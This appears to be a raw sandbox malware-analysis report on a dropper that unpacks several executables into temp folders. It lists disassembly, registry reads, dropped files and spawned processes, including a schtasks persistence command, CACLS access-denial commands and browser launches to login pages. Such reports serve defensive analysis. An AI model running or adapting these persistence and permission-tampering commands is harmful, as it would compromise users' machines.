[0x10016a48], 0,sub esp, 0x24,or dword ptr [0x10016004], 1,push 0xa,call 0x1000e0c7,test eax, eax," "6XA0cz3.exe" file has an entrypoint instructions - "pushal ,mov esi, 0x412015,lea edi, [esi - 0x11015],push edi,mov ebp, esp,lea ebx, [esp - 0x3e80],xor eax, eax,push eax,cmp esp, ebx,jne 0x41bca8,inc esi,inc esi,push ebx,push 0x19a62,push edi,add ebx, 4,push ebx,push 0x9c78,push esi,add ebx, 4,push ebx,push eax,mov dword ptr [ebx], 0x20003,push ebp,push edi,push esi,push ebx,sub esp, 0x7c,mov edx, dword ptr [esp + 0x90],mov dword ptr [esp + 0x74], 0,mov byte ptr [esp + 0x73], 0,mov ebp, dword ptr [esp + 0x9c],lea eax, [edx + 4],mov dword ptr [esp + 0x78], eax,"49:T627,Process "OT6Dd58.exe" (UID: 00000000-00005132) was launched with new environment variables: "__COMPAT_LAYER="ElevateCreateProcess WRPMitigationLayer"" Process "cmd.exe" (UID: 00000000-00005644) was launched with new environment variables: "PROMPT="$P$G"" Process "6XA0cz3.exe" (UID: 00000000-00005668) was launched with missing environment variables: "PROMPT" Process "cacls.exe" (UID: 00000000-00005660) was launched with new environment variables: "PROMPT="$P$G"" Process "explothe.exe" (UID: 00000000-00005888) was launched with missing environment variables: "PROMPT, __COMPAT_LAYER" Process "cmd.exe" (UID: 00000000-00005336) was launched with new environment variables: "__COMPAT_LAYER="ElevateCreateProcess WRPMitigationLayer", b2eincfilepath="%TEMP%\IXP000.TMP"" Process "cacls.exe" (UID: 00000000-00005964) was launched with new environment variables: "PROMPT="$P$G"" Process "cacls.exe" (UID: 00000000-00005964) was launched with missing environment variables: "b2eincfilepath" Process "iexplore.exe" (UID: 00000000-00002764) was launched with new environment variables: "b2eincfilepath="%TEMP%\IXP000.TMP"" Process "iexplore.exe" (UID: 00000000-00002764) was launched with modified environment variables: "Path" Process "rundll32.exe" (UID: 00000000-00000744) was launched with modified environment variables: "Path" Process "rundll32.exe" (UID: 00000000-00000744) was launched with missing environment variables: "PROMPT, b2eincfilepath" Process "explothe.exe" (UID: 00000000-00003916) was launched with missing environment variables: "__COMPAT_LAYER"4a:T800,"922d837e2362b26f6f5959eb3dee8ac0.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "922d837e2362b26f6f5959eb3dee8ac0.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "OT6Dd58.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "OT6Dd58.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "pt9KK68.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "pt9KK68.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Vd6Yw65.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Vd6Yw65.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "vQ1qt36.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "vQ1qt36.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "vQ1qt36.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "3Hf64Pr.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "3Hf64Pr.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "4na449fr.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "4na449fr.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "5Ll6yV5.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "5Ll6yV5.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "explothe.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US")4b:Tf81,Observed system executable string:"C:\Windows\system32\apphelp.dll" [Source: 00005312.000014C0.394405.00050000.wprm] Observed system executable string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00004892-00000C25-45530142] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00004892-00000BC1-45541410] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00005132-00000BC1-45989488] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00005296-00000BC1-46411886] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"" [Source: 00000000-00005312-00000BC1-47113063] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"" [Source: 00000000-00005452-00000BC1-47361147] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00005452-00000C25-47695800] Observed system executable string:"%WINDIR%\system32\ole32.dll" [Source: 00000000-00005452-00000C25-47801226] Observed system executable string:"%WINDIR%\system32\MSCTF.dll" [Source: 00000000-00005452-00000C25-47846303] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00005496-00000C25-64784344] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00005496-00000C25-64892889] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00005496-00000C25-65057451] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00005496-00000C25-65444525] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00005496-00000C25-65696734] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00005496-00000C25-66176185] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll" [Source: 00000000-00005496-00000C25-66270343] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll" [Source: 00000000-00005496-00000C25-66358012] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" [Source: 00000000-00005496-00000C25-67503215] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00005496-00000C25-67679992] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll" [Source: 00000000-00005496-00000C25-67724519] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll" [Source: 00000000-00005496-00000C25-67780998] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00005496-00000C25-68091480] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00005496-00000C25-68501734] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll" [Source: 00000000-00005496-00000C25-69441050]4c:T871,Spawned process "OT6Dd58.exe" (UID: 00000000-00005132) Spawned process "pt9KK68.exe" (UID: 00000000-00005296) Spawned process "Vd6Yw65.exe" (UID: 00000000-00005312) Spawned process "vQ1qt36.exe" (UID: 00000000-00005452) Spawned process "3Hf64Pr.exe" (UID: 00000000-00005500) Spawned process "AppLaunch.exe" (UID: 00000000-00005512) Spawned process "4na449fr.exe" (UID: 00000000-00005428) Spawned process "AppLaunch.exe" (UID: 00000000-00005496) Spawned process "5Ll6yV5.exe" (UID: 00000000-00005448) Spawned process "explothe.exe" (UID: 00000000-00005604) Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 1 /TN explothe.exe /TR "%TEMP%\\fefffe8ce ..." (UID: 00000000-00005548), Spawned process "cmd.exe" with commandline "/k echo Y|CACLS "explothe.exe" /P "%OSUSER%:N"&&CACLS "explothe. ..." (UID: 00000000-00005616) Spawned process "cmd.exe" with commandline "/S /D /c" echo Y"" (UID: 00000000-00005644) Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "%OSUSER%:N"" (UID: 00000000-00005764) Spawned process "6XA0cz3.exe" (UID: 00000000-00005668) Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "%OSUSER%:R" /E" (UID: 00000000-00005660) Spawned process "cmd.exe" with commandline "/S /D /c" echo Y"" (UID: 00000000-00005928) Spawned process "explothe.exe" (UID: 00000000-00005888) Spawned process "cacls.exe" with commandline "CACLS "..\\fefffe8cea" /P "%OSUSER%:N"" (UID: 00000000-00005912) Spawned process "cmd.exe" with commandline "/c "%TEMP%\\1064.tmp\\1065.tmp\\1066.bat %TEMP%\\IXP000.TMP\\6XA ..." (UID: 00000000-00005336), Spawned process "cacls.exe" with commandline "CACLS "..\\fefffe8cea" /P "%OSUSER%:R" /E" (UID: 00000000-00005964), Spawned process "iexplore.exe" with commandline "https://www.facebook.com/login" (UID: 00000000-00002764), Spawned process "iexplore.exe" with commandline "https://www.youtube.com/" (UID: 00000000-00004192), Spawned process "iexplore.exe" with commandline "SCODEF:2764 CREDAT:275457 /prefetch:2" (UID: 00000000-00004160), Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00004028)4d:T871,Spawned process "OT6Dd58.exe" (UID: 00000000-00005132) Spawned process "pt9KK68.exe" (UID: 00000000-00005296) Spawned process "Vd6Yw65.exe" (UID: 00000000-00005312) Spawned process "vQ1qt36.exe" (UID: 00000000-00005452) Spawned process "3Hf64Pr.exe" (UID: 00000000-00005500) Spawned process "AppLaunch.exe" (UID: 00000000-00005512) Spawned process "4na449fr.exe" (UID: 00000000-00005428) Spawned process "AppLaunch.exe" (UID: 00000000-00005496) Spawned process "5Ll6yV5.exe" (UID: 00000000-00005448) Spawned process "explothe.exe" (UID: 00000000-00005604) Spawned process "schtasks.exe" with commandline "/Create /SC MINUTE /MO 1 /TN explothe.exe /TR "%TEMP%\\fefffe8ce ..." (UID: 00000000-00005548), Spawned process "cmd.exe" with commandline "/k echo Y|CACLS "explothe.exe" /P "%OSUSER%:N"&&CACLS "explothe. ..." (UID: 00000000-00005616) Spawned process "cmd.exe" with commandline "/S /D /c" echo Y"" (UID: 00000000-00005644) Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "%OSUSER%:N"" (UID: 00000000-00005764) Spawned process "6XA0cz3.exe" (UID: 00000000-00005668) Spawned process "cacls.exe" with commandline "CACLS "explothe.exe" /P "%OSUSER%:R" /E" (UID: 00000000-00005660) Spawned process "cmd.exe" with commandline "/S /D /c" echo Y"" (UID: 00000000-00005928) Spawned process "explothe.exe" (UID: 00000000-00005888) Spawned process "cacls.exe" with commandline "CACLS "..\\fefffe8cea" /P "%OSUSER%:N"" (UID: 00000000-00005912) Spawned process "cmd.exe" with commandline "/c "%TEMP%\\1064.tmp\\1065.tmp\\1066.bat %TEMP%\\IXP000.TMP\\6XA ..." (UID: 00000000-00005336), Spawned process "cacls.exe" with commandline "CACLS "..\\fefffe8cea" /P "%OSUSER%:R" /E" (UID: 00000000-00005964), Spawned process "iexplore.exe" with commandline "https://www.facebook.com/login" (UID: 00000000-00002764), Spawned process "iexplore.exe" with commandline "https://www.youtube.com/" (UID: 00000000-00004192), Spawned process "iexplore.exe" with commandline "SCODEF:2764 CREDAT:275457 /prefetch:2" (UID: 00000000-00004160), Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00004028)4e:T4b3,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004892.00000000.66048.00270000.00000004.mdmp, 00000000-00004892.00000001.67957.00270000.00000004.mdmp, 00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp")4f:T5f01,"OT6Dd58.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\OT6Dd58.exe]- [targetUID: 00000000-00005132] "4na449fr.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\4na449fr.exe]- [targetUID: 00000000-00005296] "pt9KK68.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\pt9KK68.exe]- [targetUID: 00000000-00005296] "urlref_httpswww.youtube.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "3Hf64Pr.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\3Hf64Pr.exe]- [targetUID: 00000000-00005312] "Vd6Yw65.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\Vd6Yw65.exe]- [targetUID: 00000000-00005296] "urlref_httpsaccounts.google.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "vQ1qt36.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\vQ1qt36.exe]- [targetUID: 00000000-00005312] "1FX99DP0.exe" has type "PE32+ executable (console) x86-64 for MS Windows"- Location: [%TEMP%\IXP004.TMP\1FX99DP0.exe]- [targetUID: 00000000-00005452] "5Ll6yV5.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\5Ll6yV5.exe]- [targetUID: 00000000-00005448] "2Td9134.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\2Td9134.exe]- [targetUID: 00000000-00005452] "clip_1_.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "6XA0cz3.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed"- Location: [%TEMP%\IXP000.TMP\6XA0cz3.exe]- [targetUID: 00000000-00005668] "4aAhOWlwaXf_1_.svg" has type "SVG Scalable Vector Graphics image"- [targetUID: N/A] "cred.dll" has type "HTML document ASCII text"- Location: [%APPDATA%\006700e5a2ab05\cred.dll]- [targetUID: 00000000-00005604] "1066.bat" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\1064.tmp\1065.tmp\1066.bat]- [targetUID: 00000000-00005668] "urlblockindex_2_.bin" has type "data"- [targetUID: N/A] "TSN61Q3Y.js" has type "ASCII text with very long lines"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\2UXTWTJR\TSN61Q3Y.js]- [targetUID: 00000000-00004220] "identifier_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "identifier_2_.htm" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "RNFuSb7tdaZ_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "m__b__tp_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "WR283GP8.htm" has type "HTML document UTF-8 Unicode text with very long lines with CRLF NEL line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\WR283GP8.htm]- [targetUID: 00000000-00004192] "6MF4CYKN.htm" has type "HTML document UTF-8 Unicode text with very long lines with CRLF NEL line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\2UXTWTJR\6MF4CYKN.htm]- [targetUID: 00000000-00002764] "m_ltDFwf_Rusgnf_Ctsu_UPKV3d_bPkrc_W2YXuc_pxq3x_IZ1fbc_soHxf_kSPLL_qPfo0c_yRXbo_bTi8wc_ywOR5c_PHUIyb_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "login_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "dinosaur_1_.png" has type "PNG image data 1200 x 800 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "urlref_httpswww.facebook.comlogin" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "kzikDtJjAjw_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "bisOS4dl-mS_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "M_qt8gV3koE_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "LgvwffuKmeX_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "TOgyZUwZTqd_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "xEUODc7mbZF_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "m_byfTOb_lsjVmc_LEikZe_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "CheckConnection_1_.htm" has type "HTML document ASCII text with very long lines"- [targetUID: N/A] "GLMTwJKTA1g_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "zI56j6esQGz_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "4UabrENHsxJlGDuGo1OIlLU94YtzCwA_1_.woff" has type "Web Open Font Format TrueType length 26412 version 1.1"- [targetUID: N/A] "4UaGrENHsxJlGDuGo1OIlL3Owpg_1_.woff" has type "Web Open Font Format TrueType length 26180 version 1.1"- [targetUID: N/A] "SeW64FDUgJN_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "BQn1Lzzcmjv_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "fpMCwgcFvo4_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "KFOlCnqEu92Fr1MmEU9fBBc-_1_.woff" has type "Web Open Font Format TrueType length 20544 version 1.1"- [targetUID: N/A] "~DF07DCC5D2F9C03737.TMP" has type "data"- [targetUID: N/A] "KFOmCnqEu92Fr1Mu4mxM_2_.woff" has type "Web Open Font Format TrueType length 20344 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmEU9fBBc-_1_.woff" has type "Web Open Font Format TrueType length 20012 version 1.1"- [targetUID: N/A] "KFOkCnqEu92Fr1MmgVxIIzQ_1_.woff" has type "Web Open Font Format TrueType length 19936 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmSU5fBBc-_1_.woff" has type "Web Open Font Format TrueType length 19916 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmWUlfBBc-_1_.woff" has type "Web Open Font Format TrueType length 19888 version 1.1"- [targetUID: N/A] "m_RqjULd_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "en-US.4" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\DomainSuggestions\en-US.4]- [targetUID: 00000000-00002764] "_tJ17sGyxOX_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "imagestore.dat" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\imagestore\3mt7jhv\imagestore.dat]- [targetUID: 00000000-00004160] "~DFB8DAEB7E3F23585F.TMP" has type "data"- [targetUID: N/A] "~DF1BBCA8E487654446.TMP" has type "data"- Location: [%TEMP%\~DF1BBCA8E487654446.TMP]- [targetUID: 00000000-00004192] "~DF8FB6B4E2827E2991.TMP" has type "data"- Location: [%TEMP%\~DF8FB6B4E2827E2991.TMP]- [targetUID: 00000000-00004028] "~DF42D94D9317BC7BB9.TMP" has type "data"- Location: [%TEMP%\~DF42D94D9317BC7BB9.TMP]- [targetUID: 00000000-00002764] "~DFF4BF72CDBF91514A.TMP" has type "data"- Location: [%TEMP%\~DFF4BF72CDBF91514A.TMP]- [targetUID: 00000000-00004192] "~DF6A014715CBD08563.TMP" has type "data"- Location: [%TEMP%\~DF6A014715CBD08563.TMP]- [targetUID: 00000000-00002764] "Qw3hZQNGEDjaO2m6tqIqX5E-AVS5_rSejo46_PCTRspJ0OosolrBEJL3HMXfxQASluL2m_dANVawBpSF_1_.woff" has type "Web Open Font Format TrueType length 16064 version 1.1"- [targetUID: N/A] "_7D240029-7091-11EE-9D98-00505691FB23_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "lFK_RCKM9IT_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "C9n9XTZa3H8_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "xqvNY4MTESs_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "70DAE932E3BCB3C00656A27B544BA9CA" has type "data"- [targetUID: N/A] "30BCF8D79B1225AC4F40686E58D30D95" has type "data"- [targetUID: N/A] "rAl2Hl1fQTa_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "m_wg1P6b_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "739F2FF4259CDC6CBE7B90F1A95601EF" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\739F2FF4259CDC6CBE7B90F1A95601EF]- [targetUID: 00000000-00004160] "firefox_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "yt_logo_rgb_light_1_.png" has type "PNG image data 1588 x 356 8-bit colormap non-interlaced"- [targetUID: N/A] "edgium_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "P8DLAFRlDfy_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "Y0L6f5sxdIV_1_.png" has type "PNG image data 283 x 315 8-bit colormap non-interlaced"- [targetUID: N/A] "MAz3ivwtIyN_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "jIUN0Hn2kpD_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "chrome_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "_7A1B451F-7085-11EE-9D98-00505691FB23_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "supported_browsers_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines with no line terminators"- [targetUID: N/A] "RecoveryStore._BAC54743-7086-11EE-9D98-00505691FB23_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._49A2772B-7087-11EE-9D98-00505691FB23_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._7A1B451D-7085-11EE-9D98-00505691FB23_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "favicon_4_.ico" has type "MS Windows icon resource - 2 icons 16x16 32 bits/pixel 32x32 32 bits/pixel"- [targetUID: N/A] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data Windows 2000/XP setup 4770 bytes 1 file at 0x2c +A "disallowedcert.stl" number 1 1 datablock 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00004160] "d4QqVJOdC1V_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "_9017813A-70A0-11EE-9D98-00505691FB23_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_3484535A-7091-11EE-9D98-00505691FB23_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "hLRJ1GG_y0J_1_.ico" has type "MS Windows icon resource - 1 icon 32x32 32 bits/pixel"- [targetUID: N/A] "m_NTMZac_sOXFj_q0xTif_ZZ4WUe_1_.js" has type "HTML document ASCII text with very long lines"- [targetUID: N/A] "wYnUPpbC_DL_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "2W2z89vRC58_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "m_Wt6vjf_hhhU8_FCpbqb_WhJNk_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "QJ_ErdZuyUE_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "m_ZwDk9d_RMhBfe_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "wm4d5zAAo-a_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "opera_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "yUtEQ4ajXZI_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "EQ0cyse2DGv_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "m_w9hDv_VwDzFe_A7fCU_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00004792] "bpW4eEg-2_W_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "m_bm51tf_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "8A7891822FCFF127E4EADADE9757112B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\8A7891822FCFF127E4EADADE9757112B]- [targetUID: 00000000-00002764] "favicon_3_.ico" has type "MS Windows icon resource - 1 icon 16x16 32 bits/pixel"- [targetUID: N/A] "www.facebook_1_.xml" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "4748633DC5731827D4B432DBAC7A3ECE" has type "data"- [targetUID: 00000000-00004792] "69C6F6EC64E114822DF688DC12CDD86C" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\69C6F6EC64E114822DF688DC12CDD86C]- [targetUID: 00000000-00004160] "0270780F846F08BEFE0DD8112D932FEF" has type "data"- [targetUID: 00000000-00004160] "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00004792] "7O04Eyj-1fg_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "LDZ4QK20.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\LDZ4QK20.txt]- [targetUID: 00000000-00004160] "F2DDCD2B5F37625B82E81F4976CEE400_249A1AAD948A044308274CC39E5A79B2" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_249A1AAD948A044308274CC39E5A79B2]- [targetUID: 00000000-00004220] "F07644E38ED7C9F37D11EEC6D4335E02_2D1FA229671185E6CE5261A2A9B06982" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_2D1FA229671185E6CE5261A2A9B06982]- [targetUID: 00000000-00004220] 